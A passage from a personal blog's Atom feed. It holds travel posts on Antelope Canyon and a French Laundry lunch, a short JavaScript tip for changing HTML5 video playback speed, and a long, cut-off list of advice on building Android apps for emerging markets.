         alt="Antelope Canyon" width="900"/> </a>
</figure>

<figure>
    
    <a href="2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="2-768x1024.jpg"
         alt="Antelope Canyon" width="900"/> </a>
</figure>

<figure>
    
    <a href="3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="3-1024x768.jpg"
         alt="Antelope Canyon" width="900"/> </a>
</figure>

<figure>
    
    <a href="4-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="4-1024x768.jpg"
         alt="Antelope Canyon" width="900"/> </a>
</figure>

<figure>
    
    <a href="5-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="5-1024x768.jpg"
         alt="Antelope Canyon" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/canyon" term="canyon" label="canyon"/><category scheme="https://ashishb.net/tag/arizona" term="arizona" label="arizona"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">How to speed up HTML5 videos</title><link href="https://ashishb.net/programming/how-to-speed-up-html5-videos/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/mac-os-app-translocation-and-android-studio-updates-failure/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS: App Translocation and Android Studio updates failure"/><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="related" type="text/html" title="Testing resumable uploads"/><link href="https://ashishb.net/programming/architecting-android-apps-for-emerging-markets/?utm_source=atom_feed" rel="related" type="text/html" title="Architecting Android apps for emerging markets"/><link href="https://ashishb.net/programming/adb-enhanced/?utm_source=atom_feed" rel="related" type="text/html" title="adb-enhanced: A swiss army knife for Android development"/><id>https://ashishb.net/programming/how-to-speed-up-html5-videos/</id><author><name>Ashish Bhatia</name></author><published>2018-08-18T05:20:53+00:00</published><updated>2018-08-18T05:20:53+00:00</updated><content type="html"><![CDATA[<blockquote>Learn to easily speed up or slow down videos on any site using simple JavaScript in your browser console. Achieve 2X speed with just a few lines of code!</blockquote><p>Some video streaming websites like YouTube provides an option for speeding up/slowing down videos; some don&rsquo;t. The trick is simple, find out the Video object via</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Js
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#b58900">document</span>.querySelector(<span style="color:#2aa198">&#34;video&#34;</span>)</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>and then set its playbackRate property to the desired value</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Js
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#b58900">document</span>.querySelector(<span style="color:#2aa198">&#34;video&#34;</span>).playbackRate <span style="color:#719e07">=</span> <span style="color:#2aa198">2.0</span>;   <span style="color:#586e75">// For 2X speed-up
</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>These changes have to be made in the Developer console in Chrome or Browser console in Firefox.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/javascript" term="javascript" label="javascript"/></entry><entry><title type="html">A vegetarian lunch at French Laundry</title><link href="https://ashishb.net/travel/a-vegetarian-lunch-at-french-laundry/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/lava-beds-national-monument/?utm_source=atom_feed" rel="related" type="text/html" title="Cave Exploration at Lava Beds National Monument"/><link href="https://ashishb.net/travel/yosemite-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Yosemite National Park"/><link href="https://ashishb.net/travel/death-valley/?utm_source=atom_feed" rel="related" type="text/html" title="Death Valley in 3 days"/><link href="https://ashishb.net/travel/mt-whitney/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Whitney in winters"/><id>https://ashishb.net/travel/a-vegetarian-lunch-at-french-laundry/</id><author><name>Ashish Bhatia</name></author><published>2018-08-07T07:27:39+00:00</published><updated>2018-08-07T07:27:39+00:00</updated><content type="html"><![CDATA[<blockquote>My experience of enjoying a vegetarian lunch at French Laundry, one of the best restaurants in the world</blockquote><p>For the uninitiated,   
    
    
<a href="https://en.wikipedia.org/wiki/The_French_Laundry?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">French Laundry</a> is one of the best restaurants in the world. I got a chance to try the tasting menu. I had a vegetarian, or to be precise, a lacto-vegetarian (milk and cheese but not eggs) meal here.</p>
<p>The restaurant looks nondescript from the outside, and it is easy to miss it while driving.</p>
<figure>
    
    <a href="French-Laundry-0-1024x579.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="French-Laundry-0-1024x579.jpg"
         alt="Front view of a simple, understated restaurant exterior, partially obscured by trees and landscaping, providing a low-key, easily overlooked entrance to French Laundry" width="900"/> </a>
</figure>

<p>It was an 8-10 course meal, depending on how you count a course. Portion sizes were small but delicious. And there was a gap of about 15-20 mins before each serving. So, a commitment of 3-4 hours for the full course.</p>
<figure>
    
    <a href="French-Laundry-1-1024x943.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="French-Laundry-1-1024x943.jpg"
         alt="Meal at French Laundry" width="900"/> </a>
</figure>

<figure>
    
    <a href="French-Laundry-2-1024x624.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="French-Laundry-2-1024x624.jpg"
         alt="Meal at French Laundry" width="900"/> </a>
</figure>

<figure>
    
    <a href="French-Laundry-3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="French-Laundry-3-1024x768.jpg"
         alt="Meal at French Laundry" width="900"/> </a>
</figure>

<figure>
    
    <a href="French-Laundry-4-1024x918.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="French-Laundry-4-1024x918.jpg"
         alt="Meal at French Laundry" width="900"/> </a>
</figure>

<figure>
    
    <a href="French-Laundry-5-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="French-Laundry-5-1024x768.jpg"
         alt="Meal at French Laundry" width="900"/> </a>
</figure>

<figure>
    
    <a href="French-Laundry-6-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="French-Laundry-6-1024x768.jpg"
         alt="Meal at French Laundry" width="900"/> </a>
</figure>

<figure>
    
    <a href="French-Laundry-7-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="French-Laundry-7-1024x768.jpg"
         alt="Meal at French Laundry" width="900"/> </a>
</figure>

<figure>
    
    <a href="French-Laundry-8-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="French-Laundry-8-1024x768.jpg"
         alt="Meal at French Laundry" width="900"/> </a>
</figure>

<figure>
    
    <a href="French-Laundry-9-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="French-Laundry-9-1024x768.jpg"
         alt="Meal at French Laundry" width="900"/> </a>
</figure>

<figure>
    
    <a href="French-Laundry-10-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="French-Laundry-10-768x1024.jpg"
         alt="Meal at French Laundry" width="900"/> </a>
</figure>

<figure>
    
    <a href="French-Laundry-11-1024x871.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="French-Laundry-11-1024x871.jpg"
         alt="Meal at French Laundry" width="900"/> </a>
</figure>

<p>It would be a wrong question to ask whether the food was worth the time and money. The right question would be &ldquo;Was the experience worth the time and money?&rdquo;, I would say, &ldquo;Definitely&rdquo;. Being vegetarian, I was skeptical but was delighted beyond my expectations.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/french-laundry" term="french-laundry" label="french-laundry"/><category scheme="https://ashishb.net/tag/restaurant" term="restaurant" label="restaurant"/><category scheme="https://ashishb.net/tag/california" term="california" label="california"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Architecting Android apps for emerging markets</title><link href="https://ashishb.net/programming/architecting-android-apps-for-emerging-markets/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="related" type="text/html" title="Testing resumable uploads"/><link href="https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/?utm_source=atom_feed" rel="related" type="text/html" title="Troubleshooting Android Emulator: Process finished with exit code 1"/><link href="https://ashishb.net/programming/circle-ci-vs-travis-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Circle CI vs Travis CI"/><link href="https://ashishb.net/programming/android-fragment-related-pitfalls-and-how-to-avoid-them/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Fragment related pitfalls and how to avoid them"/><id>https://ashishb.net/programming/architecting-android-apps-for-emerging-markets/</id><author><name>Ashish Bhatia</name></author><published>2018-08-01T07:56:42+00:00</published><updated>2018-08-01T07:56:42+00:00</updated><content type="html"><![CDATA[<blockquote>Optimize your Android app with smart strategies on API versions, app size reduction, network usage, and more. Enhance performance, even for low-resource devices.</blockquote><p>This is a long post. It covers several decisions like API version, distribution beyond play store, UI &amp; network performance, and minimizing RAM, disk, and battery usage.</p>
<ol>
<li>Minimum Android API version
<ol>
<li>check   
    
    
<a href="https://developer.android.com/about/dashboards/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Android version distribution dashboard</a> about the userbase on every Android version and decide a min SDK version</li>
<li>As of July 2018, I would recommend aiming for API 19 as the min SDK version for maximizing the app&rsquo;s target user base. Do note that some libraries mentioned here don&rsquo;t support API 19, and you might have to make a choice. Ultimately, its a tradeoff between more engineering effort and your target user base.</li>
</ol>
</li>
<li>App Size
<ol>
<li>Reduce apk size; every 6MB increase translates to a 1% lower   
    
    
<a href="https://medium.com/googleplaydev/shrinking-apks-growing-installs-5d3fcba23ce2?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">install conversion rate</a> globally and 2% in the emerging markets. I would say 20-25MB app size should be the limit while targeting emerging markets.</li>
<li>  
    
    
<a href="https://developer.android.com/studio/build/shrink-code?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Proguard</a> and   
    
    
<a href="https://github.com/facebook/redex?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Redex</a> remove unused code. Proguard suffices in most of the cases.</li>
<li>Use   
    
    
<a href="https://github.com/google/zopfli?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">zopfli</a> and   
    
    
<a href="https://github.com/google/guetzli/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Guetzli</a> to perform lossless image compression on PNG and JPEG, respectively. For larger images, try lossy compression and measure perceived difference using   
    
    
<a href="https://github.com/google/butteraugli?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">butteraugli</a>.</li>
<li>Remove   
    
    
<a href="https://developer.android.com/studio/build/shrink-code#unused-alt-resources?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">unused resources</a> for more compression.</li>
<li>Eliminate sparse translations from resources.arsc using   
    
    
<a href="https://github.com/google/android-arscblamer?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">arscblamer</a>.</li>
</ol>
</li>
<li>Disk usage
<ol>
<li>Learn about   
    
    
<a href="https://www.reddit.com/r/Android/comments/496sn3/lets_clear_up_the_confusion_regarding_storage_in/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">different storage spaces</a> on Android</li>
<li>Use the internal storage&rsquo;s   
    
    
<a href="https://developer.android.com/reference/android/content/Context.html#getCacheDir%28%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">cache directory</a> for storing non-critical files like downloaded images. The system can delete files from the cache when the disk storage is low, and this is better than the user manually clearing all the internal storage of the app.</li>
<li>Use &ldquo;shared external storage&rdquo; for storing non-private files so that the storage does not count against the app&rsquo;s disk usage and on devices where the external storage is on SD card, and this prevents the internal storage from becoming full. Such devices with removable SD cards are more common in emerging markets than in the developed world.</li>
</ol>
</li>
<li>Network usage
<ol>
<li>Not all network bytes are created equal.
Data usage on Wi-Fi is cheaper than cellular, which is cheaper than roaming. Scale-up experience if the user is on unmetered Wi-Fi and scales it down if they are on cellular and roaming. Auto-download full-resolution media on Wi-Fi. Download a low-resolution thumbnail when the user is on cellular and provide a click-to-download button to download the full media.</li>
<li>For images downloaded via the network, consider having a server-side ability to configure height and width via the URL parameters. Don&rsquo;t download images larger than the size you are going to display. The same goes for video; downloading a 4K video is adds little value when the user&rsquo;s phone is limited to a much   
    
    
<a href="https://developer.android.com/reference/android/util/DisplayMetrics?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">smaller</a> resolution.</li>
<li>For media uploads via the network, consider having some checks before uploading. There is no pointing uploading a media file bigger than the server is willing to accept, similarly, if the server is going to downgrade/downsample/shorten the media file, try doing that on the client-side to save user&rsquo;s bandwidth and your costs.</li>
<li>All media downloads/uploads should be resumable. This basically means that if the user is disconnected after downloading 20% of a media file, they should download the rest of the 80% and not the full 100% by specifying the   
    
    
<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Range?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Content-Range</a> header. For uploads, the app has first to ask the server how many bytes have been uploaded before restarting the upload. This requires server-side support but will cut down unnecessary network traffic.</li>
<li>Ensure that IPv4 support exists since IPv6 support is   
    
    
<a href="https://www.reddit.com/r/Android/comments/2z1gyo/fix_lollipop_wifi_issues_and_coincidentally_the/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">broken</a> even on Lollipop 5.0. Ensure that the CNAME records of your domain have a good enough TTL value to minimize repeated DNS queries. Test how your app behaves with a broken DNS by intentionally setting the DNS to a non-DNS IP using   
    
    
<a href="https://play.google.com/store/apps/details?id=com.burakgon.dnschanger&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">DNS Changer</a>.</li>
<li>Use   
    
    
<a href="https://developer.android.com/jetpack/docs/guide?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">repository pattern</a> to cache on the disk using   
    
    
<a href="https://github.com/JakeWharton/DiskLruCache?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">DiskLruCache</a>. This pattern, not only, reduces the network usage but also makes your app offline-friendly.</li>
<li>Use   
    
    
<a href="https://github.com/facebookarchive/augmented-traffic-control?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Facebook ATC</a> to simulate a bad network and fix the app performance under bad network</li>
<li>Use AT&amp;T&rsquo;s   
    
    
<a href="https://developer.att.com/video-optimizer?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Application Resource Optimizer</a> to catch duplicate resource requests and similar content optimizations</li>
<li>Supporting TLS 1.2 below Android 4.4 requires some   
    
    
<a href="https://medium.com/tech-quizlet/working-with-tls-1-2-on-android-4-4-and-lower-f4f5205629a?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">effort</a></li>
</ol>
</li>
<li>RAM usage
<ol>
<li>If you use bitmaps, consider using Fresco to minimize Java memory usage on the   
    
    
<a href="https://code.fb.com/android/introducing-fresco-a-new-image-library-for-android/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">older versions</a>. Otherwise, use   
    
    
<a href="https://bumptech.github.io/glide/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Glide</a> or   
    
    
<a href="https://square.github.io/picasso/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Picasso</a>. Unless you are building a photo editing app, don&rsquo;t do manual bitmap management.</li>
<li>Avoid GC thrashing by using   
    
    
<a href="https://blog.newrelic.com/2014/05/12/object-pools/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Object Pools</a></li>
<li>Use   
    
    
<a href="https://blog.mindorks.com/android-app-optimization-using-arraymap-and-sparsearray-f2b4e2e3dc47?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">sparse arrays</a> in lieu of HashMap to minimize object creation due to auto-boxing, which creates an Integer for every int and a Boolean for every bool.</li>
<li>Avoid   
    
    
<a href="https://android.jlelse.eu/android-performance-avoid-using-enum-on-android-326be0794dc3?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">enums</a> and use IntDef/StringDef instead</li>
<li>Avoid leaks by adding   
    
    
<a href="https://github.com/square/leakcanary?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">LeakCanary</a> to the debug build. Don&rsquo;t ship this in the release build. The Android architecture, especially activities and fragments, makes it really easy to create leaks.</li>
<li>Test for activities not being preserved when they are not active by &ldquo;adbe dont-keep-activities on&rdquo;. Many low-RAM devices are more aggressive about killing backgrounded activities, and turning this behavior on will recreate that experience.</li>
</ol>
</li>
<li>Power usage
<ol>
<li>To prevent unnecessary power usage, avoid WakeLocks.</li>
<li>Use   
    
    
<a href="https://developer.android.com/reference/android/view/WindowManager.LayoutParams#FLAG_KEEP_SCREEN_ON?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">FLAG_KEEP_SCREEN_ON</a> for keeping the screen on in an activity</li>
<li>Use either   
    
    
<a href="https://developer.android.com/topic/libraries/architecture/workmanager?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">WorkManager</a> or   
    
    
<a href="https://github.com/evernote/android-job?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">android-job</a> for long-running background jobs, which should persist beyond app restart. Android-job is more stable, but WorkManager is Google&rsquo;s official library, its still an alpha release, though.</li>
<li>Use   
    
    
<a href="https://developer.android.com/reference/android/support/v4/app/AlarmManagerCompat?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">AlarmManager</a> for short interval callbacks</li>
<li>If the battery is low and the phone is not charging, or the phone is on battery saver mode, avoid heavy tasks like automatic media downloads or video rendering. Test for app&rsquo;s behavior when battery saver is on using &ldquo;adbe battery-saver on&rdquo;.</li>
<li>Test for app&rsquo;s behavior under doze mode using &ldquo;adbe doze on&rdquo;</li>
<li>Test for battery usage using   
    
    
<a href="https://developer.android.com/topic/performance/power/battery-historian?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">battery historian</a></li>
</ol>
</li>
<li>Logging &amp; debugging
<ol>
<li>Store and fetch logcat logs in a file using something like   
    
    
<a href="https://github.com/elvishew/xLog?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">xLog</a> to ensure that you have sufficient information behind crashes/ANRs</li>
<li>Use   
    
    
<a href="https://github.com/facebook/stetho?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Stetho</a> for manual app debugging</li>
</ol>
</li>
<li>ANR
<ol>
<li>Use   
    
    
<a href="https://developer.android.com/reference/android/os/StrictMode?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">StrictMode</a> to catch and prevent potential causes of ANRs</li>
<li>Avoid Inter-process calls (IPC) on the main thread, StrictMode won&rsquo;t catch the violation, and you would never know what&rsquo;s happening on the other side of the IPC call which can block the main thread.</li>
<li>Avoid synchronized method calls on the main thread since a background thread might be holding the lock, leading to the main thread being blocked.</li>
<li>If   
    
    
<a href="https://developer.android.com/reference/android/content/BroadcastReceiver.html#onReceive%28android.content.Context,%20android.content.Intent%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">BroadcastReceiver#onReceive</a> is going to take more than 10 seconds, then call   
    
    
<a href="https://developer.android.com/reference/android/content/BroadcastReceiver.html#goAsync%28%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">goAsync</a> for background processing and call PendingResult#onFinish() once that&rsquo;s finished</li>
</ol>
</li>
<li>Crashes
<ol>
<li>Test for app background restrictions using <code>adbe restrict-background true &lt;app-name&gt;</code></li>
<li>Test for mobile data background restriction by disabling background data access for apps via &ldquo;adbe mobile-data saver on&rdquo;</li>
</ol>
</li>
<li>UI Performance
<ol>
<li>Text measurement takes a lot of time on the UI thread, consider creating   
    
    
<a href="https://developer.android.com/reference/androidx/core/text/PrecomputedTextCompat?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">PrecomputedText</a> on the background thread. PrecomputedText speeds up UI rendering on API 21 onwards.</li>
<li><code>android:autoLink = true</code> in TextView&rsquo;s XML works via Regular Expressions and has bad performance. Consider using   
    
    
<a href="https://developer.android.com/reference/androidx/core/text/util/LinkifyCompat?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Linkify</a> on the background thread.</li>
<li>Learn to use   
    
    
<a href="https://developer.android.com/studio/profile/traceview?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">TraceView</a> to debug and improve UI performance manually</li>
<li>Minimize overdraw in the first and the most used activities/fragments of the app. Turn on overdraw via developer options or use &ldquo;adbe overdraw on&rdquo;.</li>
</ol>
</li>
<li>UI text
<ol>
<li>If you are working with text, always use wrap_content as the height or else, the text will be chopped off if the font is large.</li>
<li>Provide better multi-lingual support as well as support for multiple languages showing up in the same UI. Multiple languages will show up in the UI with the user-generated content. Consider providing an in-app   
    
    
<a href="https://1.bp.blogspot.com/-wowXq7AK-f4/WdMq6zG2IhI/AAAAAAAAAsg/J38Uf87Gq-sjDO2s7yoSjUJokvyIOk9dgCLcBGAs/s1600/Login%2BApp%2B2.png?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">locale change</a> option, preferably at the time of registration/login, so that users can use your app in a language different from the phone&rsquo;s default.</li>
<li>Hebrew and Arabic, which cover most of the middle-eastern countries, are RTL. Test how UI appears in the RTL languages using &ldquo;adbe rtl on&rdquo;</li>
<li>Use   
    
    
<a href="https://developer.android.com/reference/android/support/text/emoji/EmojiCompat?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">EmojiCompat</a> and don&rsquo;t rely on system&rsquo;s support for Emojis. The Android platform support for Emojis is extremely   
    
    
<a href="https://caniemoji.com/android-2/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fragmented</a>.</li>
<li>Avoid SpannableStringBuilder, StringBuilder + SpannableString is 25x   
    
    
<a href="https://blog.danlew.net/2018/08/30/exploring-spannable-performance/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">faster</a>.</li>
</ol>
</li>
<li>UI Quality
<ol>
<li>
